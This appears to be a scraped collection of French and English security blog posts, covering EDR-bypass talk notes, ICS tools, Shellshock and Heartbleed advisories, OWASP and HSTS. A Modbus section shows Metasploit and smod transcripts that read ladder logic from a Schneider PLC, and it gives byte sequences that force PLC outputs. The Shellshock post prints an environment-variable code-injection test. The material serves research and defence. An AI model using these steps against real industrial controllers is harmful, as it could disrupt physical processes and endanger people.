We shared a new and improved version of EDRSandblast during Demo Lab sessions at DEFCON 30. It was the occasion to introduce and detail the detection mechanisms employed by EDRs (user-land hooking, kernel callbacks, ETW Threat Intelligence provider …), to show how to get around them, as well as to showcase the new features of our tool. On the list of updated features: a new detection mechanism is recognized and bypassed by the tool, multiple vulnerable drivers are now supported, EDRSandblast can now be included as a library in a third-party project, and much more!

You can find the full list of updates, as well as the presentation on GitHub: https://github.com/wavestone-cdt/EDRSandblast/blob/DefCon30Release/DEFCON30-DemoLabs-EDR_detection_mechanisms_and_bypass_techniques_with_EDRSandblast-v1.0.pdf

By Maxime MEIGNAN (@th3m4ks) and Thomas DIOT (@_Qazeer).

SANS DFIR Summit 2022

In this talk, we gave a brief overview of an AD forest recovery procedure and focused on different means of persistence leveraged by threat actors in Active Directory, some well-known, other less so. Some features of the newly released FarsightAD PowerShell toolkit were also demoed, such as the detection of fully or partially hidden objects using the Directory Replication Service protocol. More techniques are covered in the slides than what was presented during the talk, so check the deck out!

You can find the slides and FarsightAD here: https://github.com/Qazeer/FarsightAD

By Thomas DIOT (@_Qazeer).

Happy reading, happy testing, hack the planet

Cet article Wavestone’s cyber summer est apparu en premier sur RiskInsight.

Over 40 assessments of industrial sites

If you want to know more, you can find the detailed study.

Cet article Industrial sites cybersecurity : benchmark on 40 assessments est apparu en premier sur RiskInsight.

Lors de la dernière édition de la DEFCON, nous avons présenté nos travaux de R&D concernant un protocole propriétaire Schneider à l’ICS Village, espace dédié à la sécurité des SI industriels.

root@kali:mbtget-master# ./mbtget -r3 -a 0 -n 8 192.168.0.110
values:
  1 (ad 00000):     1
  2 (ad 00001):     0
  3 (ad 00002):     0
  4 (ad 00003):     1
  5 (ad 00004):     0
  6 (ad 00005):     0
  7 (ad 00006):     0
  8 (ad 00007):     0

root@kali:~/smod# python smod.py 
< SMOD >
 ------- 
        \   ^__^
         \  (xx)\_______
            (__)\       )\/\
             U  ||----w |
                ||     ||
          --=[MODBUS Penetration Test FrameWork
       --+--=[Version : 1.0.4
       --+--=[Modules : 23
       --+--=[Coder   : Farzin Enddo
          --=[github  : www.github.com/enddo

SMOD > use modbus/scanner/getfunc
SMOD modbus(getfunc) > show options
 Name     Current Setting  Required  Description                                 
 ----     ---------------  --------  -----------                                 
 Output   True             False     The stdout save in output directory         
 RHOSTS                    True      The target address range or CIDR identifier 
 RPORT    502              False     The port number for modbus protocol         
 Threads  1                False     The number of concurrent threads            
 UID      None             True      Modbus Slave UID.                           
SMOD modbus(getfunc) > set RHOSTS 192.168.0.110
SMOD modbus(getfunc) > set UID 1
SMOD modbus(getfunc) > exploit
[+] Module Get Function Start
[+] Looking for supported function codes on 192.168.0.110
[+] Function Code 1(Read Coils) is supported.
[+] Function Code 2(Read Discrete Inputs) is supported.
[+] Function Code 3(Read Multiple Holding Registers) is supported.
[+] Function Code 4(Read Input Registers) is supported.
[+] Function Code 5(Write Single Coil) is supported.
[+] Function Code 6(Write Single Holding Register) is supported.
[+] Function Code 8(Diagnostic) is supported.
[+] Function Code 15(Write Multiple Coils) is supported.
[+] Function Code 16(Write Multiple Holding Registers) is supported.
[+] Function Code 22(Mask Write Register) is supported.
[+] Function Code 23(Read/Write Multiple Registers) is supported.
[+] Function Code 43(Read Device Identification) is supported.
[+] Function Code 90 is supported.

On peut ainsi utiliser les fonctions de diagnostique pour identifier précisément l’automate, en l’occurrence un Schneider M340 :

Capture réseau des échanges entre le logiciel de programmation et un automate Schneider

 

msf auxiliary(modicon_stux_transfer_ASO) > set ACTION DOWNLOAD
ACTION => DOWNLOAD
msf auxiliary(modicon_stux_transfer_ASO) > run

[*] 192.168.0.110:502 - MODBUS - Sending read request
[*] 192.168.0.110:502 - MODBUS - Retrieving file
[*] 192.168.0.110:502 - MODBUS - Closing file  '/opt/metasploit/apps/pro/msf3/data
/exploits/modicon_ladder.apx'
[*] Auxiliary module execution completed
msf auxiliary(modicon_stux_transfer_ASO) >

• Insérons le fichier « .apx » dans l’archive

root@kali:~# file demo_archive.sta 
demo_archive.sta: Zip archive data, at least v1.0 to extract
root@kali:~# unzip demo_archive.sta
Archive:  demo_archive.sta
   creating: BinAppli/
  inflating: BinAppli/Station.apd    
  inflating: BinAppli/Station.apx    
  inflating: STATION.CTX             
 extracting: TA.xma                  
   creating: ThirdParty/
root@kali:~/unity# cp /opt/metasploit/apps/pro/msf3/data/exploits/modicon_ladder.apx 
BinAppli/Station.apx
root@kali:~/unity# ls
BinAppli  demo_archive.sta  STATION.CTX  TA.xma  ThirdParty
root@kali:~/unity# rm BinAppli/Station.apd
root@kali:~/unity# zip demo_archive2.sta -r BinAppli/ STATION.CTX  TA.xma  ThirdParty/
  adding: BinAppli/ (stored 0%)
  adding: BinAppli/Station.apx (deflated 61%)
  adding: BinAppli/Station.apd (deflated 19%)
  adding: STATION.CTX (deflated 58%)
  adding: TA.xma (stored 0%)
  adding: ThirdParty/ (stored 0%)
root@kali:~/unity#

• Ouvrons le fichier dans Unity : il suffit ensuite d’ouvrir le fichier avec Unity pro pour accéder au programme :

Affichage du code « ladder » dans Unity Pro

 

msf > use auxiliary/admin/scada/modicon_stux_transfer_ASO 
msf auxiliary(modicon_stux_transfer_ASO) > show actions

Auxiliary actions:

   Name          Description
   ----          -----------
   DOWNLOAD      Download the ladder logic from the PLC
   GATHER_INFOS  Get informations about the PLC configuration
   UPLOAD        Upload a ladder logic file to the PLC


msf auxiliary(modicon_stux_transfer_ASO) > set ACTION GATHER_INFOS 
ACTION => GATHER_INFOS
msf auxiliary(modicon_stux_transfer_ASO) > show options

Module options (auxiliary/admin/scada/modicon_stux_transfer_ASO):

   Name      Current Setting                     Required  Description
   ----      ---------------                     --------  -----------
   FILENAME  [...]/modicon_ladder.apx            yes       The file to send or receive
   RHOST                                         yes       The target address
   RPORT     502                                 yes       The target port


Auxiliary action:

   Name          Description
   ----          -----------
   GATHER_INFOS  Get informations about the PLC configuration


msf auxiliary(modicon_stux_transfer_ASO) > set RHOST 192.168.0.110
RHOST => 192.168.0.110
msf auxiliary(modicon_stux_transfer_ASO) > run

[*] Sending initialization requests ...
[+] PLC model : BMX P34 2030
[+] Project name : Test - Project ABC 123 Yolo
[+] Project comments : this is where the comments are put. YOLO @@@ !!!
[+] Unity Pro software version : V5.0
[*] Auxiliary module execution completed

Informations sur le projet dans Unity pro

 

[…]\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x11\x00\x01\x00\x00\x00\x03
[…]\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x12\x00\x01\x00\x00\x00\x02

La valeur de forçage est déterminée par le dernier octet :

• 0x03 pour 0
• 0x02 pour 1
• 0x04 pour annuler le forçage

Conclusion et sécurisation

Cet article Fun with Modbus 0x5A est apparu en premier sur RiskInsight.

La première étape dans un projet de sécurisation de son SI industriel est bien souvent la création, ou la fiabilisation, d’un inventaire de l’ensemble des composants. En effet, l’inventaire et la documentation existante peuvent s’avérer insuffisant ou non-fiable.
C’est à ce besoin que répond l’outil GRASSMARLIN en fournissant une solution de cartographie réseau passive adaptée au secteur industriel.

Présentation de GRASSMARLIN

GRASSMARLIN est un outil permettant de cartographier de manière passive un réseau industriel. Cet outil, premièrement développé par la National Security Agency (NSA) des États-Unis est désormais Open-Source et directement accessible sur GitHub (https://github.com/iadgov/GRASSMARLIN).
L’outil GRASSMARLIN permet d’obtenir une image ou « snapshot » du système d’information (SI) industriel avec notamment:

• Les équipements présents
• Les communications existantes entre les équipements
• Des méta-informations obtenues à partir des communications (localisation, constructeurs)

L’outil est disponible sur la plateforme Windows (version 7+, 64bits uniquement), certaines distributions Linux (Fedora, Ubuntu) et est téléchargeable au lien suivant : https://github.com/iadgov/GRASSMARLIN/releases/latest.

Une perte de disponibilité d’un équipement du SI industriel pouvant avoir des conséquences importantes (arrêt de la production, perte de visibilité pour les opérateurs, …), la cartographie est entièrement passive. Les communications sont enregistrées puis analysées, contrairement à un scan actif avec nmap ou plcscan qui vont activement envoyer des paquets à destination de toutes les adresses IP et analyser les éventuels retours.

Fonctionnement de Grassmarlin

GRASSMARLIN permet d’obtenir deux types de topologies du réseau industriel :

• La « Logical View » : fournit une liste des équipements présents et des communications existantes, nommée par la suite la vue logique.
• La « Physical View » : permet d’obtenir les liens physiques entre les équipements en donnant par exemple le numéro de port d’un routeur auquel un automate est connecté, nommée par la suite la vue physique.

La détection passive

La méthode de découverte de réseau étant passive l’outil GRASSMARLIN ne génère aucun trafic sur le réseau. Ainsi afin d’obtenir des résultats de la vue logique ce dernier va simplement écouter les communications sur le réseau tel un analyseur de trame classique. En d’autres termes, GRASSMARLIN ne pourra analyser que les communications qu’il est en mesure d’écouter sur sa machine hôte.

Il est aussi possible d’obtenir une topologie réseau à partir de captures réseaux (fichiers PCAP) générées à des instants ultérieurs à d’autres points du réseau.
De même, pour générer la vue physique GRASSMARLIN utilise des logs de routeur Cisco et reste donc totalement passif.

Vue logique

Dans cette vue, la topologie du réseau se présente comme suit :

La carte principale à droite permet de donner les équipements présents, identifiés par leur adresse IP, ainsi que les communications existantes entre les équipements et les sous-réseaux IP.
Par ailleurs, GRASSMARLIN reconnait à l’aide de signatures les protocoles et équipements industriels :

Dans le cas présent, le protocole utilisé est bien reconnu comme S7comm. Le rôle des équipements dans les communications est aussi informé : le master (ou maître) donne les consignes lorsque le slave (ou esclave) exécute les commandes. Le Vendor Name (nom du constructeur) est donné et permet aux gestionnaires de parcs industriels de pouvoir se repérer plus aisément. Enfin, dans le cas où les adresses IP sont publiques (ce qui n’est pas le cas ici) le pays d’origine de l’équipement est informé.
Ces informations sont générées suite à la confrontation des captures réseaux avec les signatures connues par GRASSMARLIN, l’attribut Confidence (confiance) échelonné de 1 (non confiant) à 5 (confiant) informe alors sur le degré de véracité des informations données.
GRASSMARLIN fournit aussi une vision textuelle de la carte à l’aide d’un arbre de connections (présent à gauche sur la figure 2) renseignant les équipements par sous-réseaux.
Il est aussi possible d’isoler les communications liées à un équipement en particulier et d’obtenir des premiers éléments d’analyses tels que : la taille des paquets échangés, l’instant t de l’échange, l’origine du paquet (si plusieurs fichiers PCAP’s sont utilisés) :

Signatures protocolaires

GRASSMARLIN embarque des signatures permettant de reconnaitre les protocoles utilisés sur la vue logique.
Chaque signature peut être composée de deux types d’élément :

• L’élément Filter (ou filtre) qui décrit un attribut à détecter.
• L’élément Payload (ou charge utile) qui permet de retourner des informations à l’utilisateur.

Une signature peut contenir plusieurs Filter et chaque Payload fait référence à un Filter :

Figure 5 : Exemple de signature MODBUS

Les Filter permettent essentiellement de décrire des attributs protocolaires des couches 2 à 4 du modèle OSI. Voici une liste des Filter actuellement disponibles :

Les Payload quant à eux permettent de rajouter une description à un élément réseau, d’extraire des valeurs d’un paquet ou encore d’afficher une information en fonction de la présence d’un motif dans un paquet.
La version actuelle de GRASSMARLIN (v3) compte 54 signatures couvrant les protocoles industriels couramment utilisés. Du fait du récent passage de l’outil en open-source (28/01/16) il est probable que la bibliothèque de signature s’enrichisse avec les années à venir.
Les signatures sont éditées sous le format XML néanmoins un outil graphique est proposé – FingerPrint Editor – afin de permettre une création plus aisée de signatures :

Vue physique

La topologie physique permet d’obtenir les connexions physiques existantes entre les équipements.

Ces vues, plus orientées connectivité réseau, permettent d’obtenir les liaisons physiques existantes entre les équipements industriels et leurs connexions aux équipements réseaux.
À ce jour seul les routeurs Cisco sont supportés et les vues sont générées à partir des résultats des 3 commandes suivantes :

• “show running-config”
• “show ip arp” (OU) “show mac address-table”
• “show interfaces”

Une fois la sortie de ces commandes enregistrée dans un fichier texte, GRASSMARLIN est en mesure de générer à partir de ce dernier la vue physique.

Partage de données

L’exportation des données est gérée par GRASSMARLIN avec 3 types d’export

• L’exportation des vues sous format d’images (PNG).
• L’exportation des données sous format XML :
  • Enregistre l’ensemble de l’arbre de connexion de la vue logique.
  • Ces données peuvent être utilisées comme des données de session lors de prochaine importation.
• L’exportation des données en partage : création d’une archive avec les données sous format XML et les fichiers de captures réseaux générés.

Tests sur banc d’essai

Des tests sur une des maquettes SI industriel de Solucom ont été réalisés afin de confronter l’outil à un cas d’utilisation concret avec de réels équipements industriels.

Présentation banc d’essai

Le banc d’essai simule un aiguillage de train et est composé de :

• 1 interface homme/machine (IHM) Siemens ;
• 1 automate Siemens ;
• 2 automates Schneider ;
• 1 switch manageable.

Un poste de travail disposant de Grassmarlin est directement connecté à un port en mirroring sur le switch et accède donc à l’ensemble des communications de la maquette. Par ailleurs, aucun équipement Cisco n’étant présent sur la maquette seule la vue logique a été testée.

Réalisation des tests

Suite à une capture en temps réel des trames, GRASSMARLIN a pu générer la vue logique suivante :

Le temps d’apparition des équipements sur la carte est quasi-instantané dès réception des flux. GRASSMARLIN identifie bien l’ensemble des équipements présents tout en donnant les protocoles de communications utilisés.
De même, un fichier XML de sortie est correctement généré à partir des fonctions d’export. Ce dernier résume l’ensemble des informations extraites par GRASSMARLIN et permet de réutiliser les données plus facilement :

Cependant, certaines limitations ont pu être observées :

• La non-concurrence des signatures
  Si un équipement répond à plusieurs signatures alors seule une signature est détectée. Ceci peut notamment poser problème dans le cas d’une IHM qui communique potentiellement avec différents automates en utilisant plusieurs protocoles de communication.
• Le manque de verbosité de certaines signatures
  Les signatures comportent des champs descriptions dans leur Payload permettant de décrire au mieux le rôle de l’équipement identifié. Il est possible que ces champs soient laissés initialement vides ou peu renseignés ce qui peut compliquer la tâche d’identification.
• Une analyse des échanges peu aboutie
  GRASSMARLIN ne fournit actuellement que les premiers éléments d’analyse sur les communications : tailles des paquets, instants d’envois. Dans les pistes d’améliorations de sa fonction d’analyse nous pourrions par exemple citer l’implémentation d’une fonction de reconnaissance de cycles dans les échanges entre IHM et automates.

Conclusion

D’autres outils de détection passive de topologie sont disponibles sur le marché. Cependant GRASSMARLIN est actuellement l’un des rares, si ce n’est l’unique, à être destiné au SI industriels et à être Open-Source.
En comparaison un autre outil nommé NetworkMiner permet aussi de réaliser des topologies de réseaux en utilisant les signatures d’autres outils dont notamment : nmap, p0f et Ettercap . Néanmoins, ce dernier n’embarque pas à l’installation de signatures destinées aux protocoles industriels et n’est donc pas aussi précis que GRASSMARLIN.

Citons également la solution commerciale de Sentryo, dédiée elle aux SI industriels. Cette solution ne se contente pas de créer une cartographie à l’instant t, mais permet également d’alerter sur toutes variations par rapports aux communications habituelles, et ainsi de détecter des événements de sécurité. Lors de la démonstration à laquelle nous avons assistée, le niveau de détail fourni sur les automates (Schneider et Siemens à minima) était bien supérieur à celui qu’on peut actuellement obtenir avec Grassmarlin (marque, modèle, composants de l’automate et version du firmware par exemple).

Cet article Test de Grassmarlin, outil open-source de cartographie passive pour SI industriels est apparu en premier sur RiskInsight.

La sécurité informatique a fait du chemin ces dernières années. Désormais, toute entreprise de taille respectable dispose de sa politique de sécurité des systèmes d’information. Des sessions de sensibilisation des utilisateurs à la sécurité sont réalisées. Une gouvernance sécurité s’est même mise en place : le RSSI pilote, définit des KPI, analyse ses tableaux de bords SSI. Mais la technique n’est pas non plus oubliée ; on sait désormais que rien ne vaut un test d’intrusion pour vérifier, en imitant les méchants hackers, le niveau de sécurité d’une application ou d’un SI. Et ils vécurent heureux et ne subirent aucune attaque ? Pas si sûr…

Cet article Le fardeau du pentesteur est apparu en premier sur RiskInsight.

Une sécurisation insuffisante, voire inexistante

Les automates programmables industriels (API), en charge de l’interface avec le monde physique, n’intègrent souvent que peu de fonctions de sécurité et les failles de sécurité publiques les concernant sont nombreuses. L’ICS-CERT a ainsi publié près d’une centaine de bulletins de vulnérabilités sur des composants industriels. Les protocoles de communication utilisés sont un des maillons faibles de la chaîne. Ces protocoles, parmi lesquels on peut citer Modbus, permettent l’échange de consignes ou de valeurs en clair, sans chiffrement.

De même, les possibilités d’authentification des actions sont souvent limitées, permettant à n’importe quel attaquant ayant accès au réseau de modifier les consignes des automates et ainsi d’influer sur leur comportement. Les interfaces d’administration des automates sont par ailleurs souvent protégées par des mots de passe par défaut, jamais changés, et qui parfois ne peuvent pas l’être. Les systèmes plus intégrés appelés SNCC (Systèmes Numériques de Contrôle-Commande) ne sont pas garants d’une sécurité accrue, les protocoles propriétaires utilisés n’apportant pas forcément une réelle couche de sécurité.

La situation est identique pour les PC de supervision ou de programmation qui sont souvent des équipements reposant sur des technologies standard, tels que des systèmes d’exploitation Microsoft Windows. Malheureusement, l’expérience sécurité acquise sur le SI de gestion pour ces équipements profite rarement à leur sécurisation sur la partie industrielle. Les étapes de durcissement sécurité sont rares, de même que l’application de correctifs de sécurité, ou encore la présence d’un antivirus. Il est fréquent de pouvoir prendre le contrôle de ces systèmes par l’exploitation d’une faille de sécurité datant de près de 6 ans.

Un cloisonnement tout à fait relatif

De plus, les équipements du SI Industriel sont très largement interfacés avec les SI de gestion. Le cloisonnement entre ces deux mondes est souvent permissif. Il arrive même que le filtrage autorise l’accès à certains équipements industriels depuis l’ensemble du réseau interne d’une entreprise, ce qui peut représenter plusieurs dizaines de milliers de machines.
Les postes de programmation et clés USB constituent également des vecteurs d’attaques puisqu’ils sont connectés à des réseaux de niveau de sécurité hétérogène, voire à des environnements non-maîtrisés (par exemple dans le cas de sous-traitants).

Pire encore, il arrive trop souvent que des équipements industriels soient accessibles directement sur internet. Il existe même des moteurs de recherche dédiés à la recherche d’équipements exposés sur internet, Shodan étant le plus connu. Près de 1500 équipements Modbus sont ainsi recensés en France sur Shodan et plus de 20 000 dans le monde.

Un constat d’échec ?

Il ne s’agit néanmoins pas de se lamenter. Bien que le niveau de sécurité actuellement constaté soit faible, il est possible de mener des actions d’amélioration. Au-delà des concepts d’architecture qui permettent de cloisonner ces équipements vulnérables, la vraie, seule solution à long terme consiste à développer de nouveaux produits, sécurisés by design. Bien sûr, les fruits de ce travail ne se verront que sur les nouvelles installations, et pas avant plusieurs dizaines d’années. On peut espérer que la prise de conscience globale des parties prenantes, ainsi que l’implication des instances gouvernementales accélèrent ce changement.
En attendant il semble aujourd’hui nécessaire de déporter les fonctions sécurité sur des équipements dédiés, comme des passerelles encapsulant le trafic réseau dans un tunnel chiffré, ou bien des pare-feu ou IPS disposant de modules spécifiques aux protocoles industriels.

Enfin, il faut également savoir tirer parti d’une des faiblesses des SI Industriels : leur durée de vie et la complexité de changements. En effet, la mise en place d’une supervision sécurité sera facilitée par le caractère figé des réseaux industriels : il est rare que de nouveaux équipements soient installés ou que la topologie réseau soit modifiée. De même, l’emploi d’une solution de contrôle d’exécution par liste blanche sera plus facile sur un PC industriel n’exécutant qu’un seul logiciel de supervision que sur un poste de travail bureautique.

1 – http://www.rapid7.com/db/modules/auxiliary/scanner/scada/modbusclient
2 – https://github.com/arnaudsoullie/metasploit-framework/blob/modicon_stux_transfer/modules/auxiliary/admin/scada/modicon_stux_transfer.rb
3 – https://github.com/arnaudsoullie/scan7

Cet article Niveau de sécurité des SI Industriels : les vulnérabilités les plus courantes est apparu en premier sur RiskInsight.

Une vulnérabilité critique concernant l’interpréteur de commandes Bash a été publiée hier (CVE-2014-6271). Dans certaines conditions, cette vulnérabilité permet à un attaquant d’exécuter du code arbitraire. Le score CVSS indiquant la gravité de la vulnérabilité est évalué à 10, la note maximale.

Cette vulnérabilité affecte les versions 1.14 à 4.3 de Bash et des attaques sont en cours sur les services vulnérables.

Des correctifs de sécurité ont été publiés mais sont incomplets. Cette nouvelle vulnérabilité a été identifiée sous le numéro CVE-2014-7169.

Quels systèmes sont impactés ?

Les distributions Linux sont les principaux systèmes impactés par la vulnérabilité, car elles intègrent l’interpréteur de commande Bash par défaut. C’est également le cas de Mac OSX, et des utilisateurs de Cygwin sous Windows.

Cependant, de nombreux logiciels et services réalisent des appels système via Bash et sont par conséquent vulnérables.

Il est aujourd’hui confirmé que cette vulnérabilité peut s’exploiter à distance dans certains cas :

• Sur un serveur web pouvant faire appel à Bash (scripts cgi, appels systèmes Python ou PHP).
• Sur un serveur SSH (uniquement après authentification).
• Sur un service DHCP.

Plus généralement tout autre service pouvant faire appel à Bash pourrait être affecté.

Cette faille peut notamment être exploitée afin de réaliser une élévation de privilège sous Mac OSX, qui intègre également Bash par défaut.

Comment vérifier si je suis vulnérable ?

Il est possible d’identifier la vulnérabilité via l’exécution de la commande suivante :

$ env var='() { ignore this:;}; echo vulnerable’ bash -c /bin/true

Dans le cas d’un serveur vulnérable, la commande affichera « vulnerable ».

Attention : cette commande permet de vérifier la bonne application des correctifs disponibles. Cependant, il semblerait que ces correctifs ne mitigent pas l’ensemble des attaques possibles, en particulier l’exploitation locale.

Quelles sont les actions à mener ?

1-  Recenser les produits vulnérables

La plupart des systèmes d’exploitation Linux, ainsi que Mac OS X sont affectées par cette vulnérabilité.

Cependant, cette vulnérabilité pourrait également être présente sur d’autres équipements se basant sur des systèmes UNIX. On pense notamment aux appliances réseau et de sécurité, ainsi qu’aux systèmes embarqués.

Il convient de se référer aux bulletins publiés par les éditeurs, lorsqu’ils sont disponibles,  pour plus d’informations.

2- Appliquer les correctifs de sécurité

Bien que son efficacité soit partiellement remise en cause, le correctif de sécurité publié pour Bash permettra de se prémunir des attaques distantes les plus communes.

3- Détecter les attaques

Afin de compléter les mécanismes de protection mis en place, il est possible de détecter ou de bloquer les attaques les plus simples via l’utilisation d’équipements de type IDS/IPS.

Certains éditeurs proposent actuellement des signatures spécifiques à cette attaque, qui reposent sur la détection des caractères spéciaux “() {” dans les en-têtes des requêtes http.

Il est également recommandé d’analyser les logs existants pour détecter une exploitation passée de ShellShock.

Ce bulletin sera complété dans les prochains jours. Pour plus de précisions, vous pouvez contacter le CERT-SOLUCOM

Cet article Faille critique Shellshock : recommandations du CERT-Solucom est apparu en premier sur RiskInsight.

Une faille de sécurité critique Heartbleed a été identifiée dans les bibliothèques OpenSSL. Elle permet à un attaquant externe, non authentifié, de récupérer le contenu de la mémoire du serveur.

Les tests que nous avons menés ont montré qu’il était possible de récupérer les données échangées avec le serveur (dont les logins / mots de passe des utilisateurs), ainsi que des fichiers de configuration.

Recommandations

1- Nous recommandons dans un premier  temps de réaliser un inventaire des équipements utilisant ces bibliothèques, et de procéder à un test de vulnérabilité : soit par l’analyse de la version installée , soit via l’utilisation d’un script ;

2- Ensuite, d’appliquer les correctifs de sécurité ;

3- Il est également recommandé de considérer comme compromises les informations ayant transité par ces équipements, et de forcer un renouvellement des mots de passe (utilisateurs, serveurs, etc) ;

4- La clé privée du serveur pouvant également être impactée, il est recommandé de considérer la révocation et le renouvellement des certificats concernés, à minima sur les systèmes sensibles.

Produits concernés

•  OpenSSL 1.0.1 à 1.0.1f et OpenSSL 1.0.2-beta

•  Les branches 0.9.8 et 1.0.0 ne sont pas vulnérables

Attention, de nombreuses solutions packagées et appliances reposent sur ces bibliothèques et sont vulnérables : reverse proxy, passerelle VPN, etc.

Cet article sera complété dans les prochaines heures ; pour plus de précisions, vous pouvez contacter le CERT-Solucom.

Cet article Faille critique Heartbleed : recommandations du CERT-Solucom est apparu en premier sur RiskInsight.

 Le Top 10 2013, dans la continuité des Top 10 précédents

La quasi-totalité des risques présents dans le top 10 2010 le sont encore dans le top 10 2013. De même, aucun réel nouveau risque n’est apparu : il ne s’agit que d’un remaniement.

 Evolutions du Top 10 entre 2010 et 2013

Cette mise à jour reflète néanmoins les évolutions constatées lors de nos audits, et notamment le recours de plus en plus fréquent à des framework de développement, mais dont les fonctionnalités de sécurité ne sont pas forcément (bien) utilisées ; ainsi, les failles applicatives sont souvent détectées dans les modules développés spécifiquement pour les besoins métiers. Par ailleurs, le trio de tête « Injection, XSS et gestion des sessions » reste présent dans la quasi-totalité des applications que nous auditons.

Quelques évolutions marquantes du Top10 2013

 Falsification de requête intersites (CSRF)

De plus en plus, des fonctions de protection contre le CSRF sont intégrées dans les framework de développement ainsi que dans les logiciels commerciaux, ce qui explique la diminution du risque associé. Cependant, ne prenons pas pour acquis cette protection : nous constatons très fréquemment des vulnérabilités de ce type, qui restent moins connues des développeurs que les vulnérabilités d’injection.

 Manque de contrôle d’accès au niveau fonctionnel

Les vulnérabilités de contrôle d’accès remontent dans le classement, non pas parce qu’elles sont plus fréquentes, mais parce qu’elles sont mieux détectées. Il s’agit effectivement de vulnérabilités que l’on retrouve très classiquement de nos audits. De plus, ces vulnérabilités sont souvent très difficiles, voire impossible à détecter à l’aide d’outils automatisés, car elles nécessitent une bonne compréhension du fonctionnement de l’application et de la logique métier : seul un auditeur humain saura comprendre et évaluer en détails ces mécanismes.

Utilisation de composants avec des vulnérabilités connues

Le recours à des frameworks de développement, ou plus simplement à des librairies externes, est de plus en plus fréquent. Cependant, les processus associés de veille sécurité et de mise à niveau régulière ne sont que rarement mis en place ; ainsi, nombreuses sont les applications à utiliser des composants pour lesquels des vulnérabilités sont connues, et exploitables.  De plus, les modifications apportées à certaines applications peuvent empêcher l’application des correctifs de sécurité ou la migration vers des versions nouvelles. Il est donc primordial d’assurer un suivi de l’ensemble des briques applicatives utilisées, comme suggéré par la règle d’hygiène n°6 de l’ANSSI.

 La sécurité applicative, un domaine que l’on ne peut plus ignorer

Malheureusement, il est très rare d’auditer une application web dont le niveau de sécurité est satisfaisant. L’évolution du niveau de sécurité reste lente, notamment au regard d’une forte tendance à la hausse des intrusions et défacements. Pourtant, l’intégration de la sécurité dans les projets, ainsi que la création de cellules de sécurité applicative sont des initiatives qui fonctionnent !

Alors, que faire ? Ne vous arrêtez pas à 10 ! Ce Top 10 n’a pas pour vocation de lister l’ensemble des vulnérabilités possibles et imaginables sur les applications web ! Il est primordial de savoir ajuster les mesures de sécurité aux besoins de sécurité propres à votre métier et à vos données, notamment par la réalisation d’une analyse de risques préalable.
 

Le Top 10 vient également d’être traduit en français par le chapitre français de l’OWASP, projet auquel Solucom a eu le plaisir de participer. La version française est disponible sous ce lien. 

 Pour être informé des prochains événements organisés par l’OWASP France, n’hésitez pas à rejoindre la mailing-list OWASP France.

 Pour en savoir plus sur les cellules de sécurité applicative (SecApp), n’hésitez pas à télécharger notre focus sur le sujet.

Cet article SecApp : que retenir du nouveau TOP 10 de l’OWASP ? est apparu en premier sur RiskInsight.

Pourquoi a-t-on besoin de HSTS ?

Malheureusement, l’utilisation de HTTPS n’est souvent pas exclusive, ouvrant la voie à trois types de menaces :

• Attaques réseau passives sur des flux non-chiffrés

Il arrive fréquemment que seule une partie des requêtes au serveur web soient chiffrées, par exemple l’authentification. Une fois authentifié, les requêtes suivantes sont en clair. Un attaquant capable d’intercepter les flux réseau (sur un Wifi ouvert, au Starbucks, par exemple), pourra alors analyser les requêtes non-chiffrées, qui contiennent les cookies de session de l’utilisateur. Il pourra ainsi usurper son identité.

• Attaques réseau actives pour détourner le trafic et l’intercepter

Il n’est pas rare de rencontrer des sites proposant une connexion sécurisée mais également une connexion HTTP traditionnelle. Il est alors possible, pour un attaquant capable d’intercepter les flux réseau, de modifier à la volée les données envoyées par le site et de remplacer les liens « https://www.site.com » par des liens vers la version en clair « http://www.site.com ». Des outils permettent d’automatiser cette tâche, comme sslstrip : à nouveau l’attaquant pourra intercepter les cookies et usurper l’identité de la victime. L’attaquant pourrait aussi bien tenter de faire accepter à l’utilisateur un certificat invalide, afin de pouvoir déchiffrer les échanges SSL à la volée.

• Erreurs de développement

Il est également possible que, volontairement ou non, certaines requêtes soient effectuées en clair, par exemple pour charger des images ou un contenu vidéo. Si les images sont hébergées sur le même serveur, les cookies seront envoyés avec la requête et là encore, l’attaquant pourra dérober les cookies et usurper l’identité de la victime.

La solution proposée par HSTS : forcer l’utilisation de HTTPS

HSTS se propose de parer à ce type d’attaques en permettant aux sites web d’indiquer au navigateur qu’il ne doit accepter d’ouvrir que des liens HTTPS vers ce site.

Pour cela, un en-tête HTTP spécifique doit être envoyé au navigateur, qui n’acceptera alors que des liens https:// pour le site en question, et ce pour un temps donné.

De plus, si une erreur de validation de certificat survenait, le navigateur refuserait d’ouvrir la page en question ; en cas d’utilisation de HSTS, l’utilisateur n’a plus la possibilité de passer outre un message d’erreur de validation du certificat : voilà une avancée judicieuse ! HSTS permet donc un premier niveau de protection contre les attaques de type Man-in-the-middle (homme du milieu).

Implémenter HSTS en ajoutant les bons en-têtes

La syntaxe de l’en-tête HTTP est la suivante :

Strict-Transport-Security: max-age=XXX; includeSubDomains

Où :

• Strict-Transport-Security : indique l’utilisation de HSTS
• max-age= : définit la période durant laquelle le navigateur doit forcer l’utilisation de HTTPS, en secondes
• includeSubdomains : permet d’indiquer que la politique s’applique également à l’ensemble des sous-domaines ; cette directive est optionnelle

Dans le cas d’un serveur web Apache, il convient d’insérer les commandes suivantes dans la configuration du site :

Header set Strict-Transport-Security "max-age=XXX"

Header append Strict-Transport-Security includeSubDomains

Il est également conseillé de paramétrer la directive « max-age » de manière dynamique, de façon à la faire coïncider avec la date d’expiration du certificat

HSTS recommande également l’utilisation d’une liste prédéfinie de domaine HSTS par les navigateurs (comme Gmail, Facebook, etc …). Ainsi, on couvre le risque de la première connexion non-chiffrée.

Il est important de noter que les en-têtes HSTS ne sont pris en compte par les navigateurs que si le certificat présenté par le site est signé par une autorité de certification racine présente dans le magasin de certificats, excluant de fait le cas des certificats auto-signés.

Tous les navigateurs sont-ils compatibles HSTS ?

Les mécanismes HSTS sont supportés depuis plusieurs années par Chrome, Firefox et Opéra, qui intègrent désormais une liste par défaut de sites HSTS.

En revanche, les navigateurs Internet Explorer de Microsoft et Safari d’Apple sont à la traîne et n’implémentent pas encore ces protections.

HSTS apporte donc une avancée significative dans la sécurisation des échanges sur Internet, et ce de manière transparente pour le grand public. En imposant la sécurité (en ne leur proposant pas d’accepter un certificat invalide), on se prémunit d’un maillon faible, l’utilisateur, qui peut permettre la réalisation d’attaques de type man-in-the-middle comme ce fut récemment le cas pour le site Github en Chine.

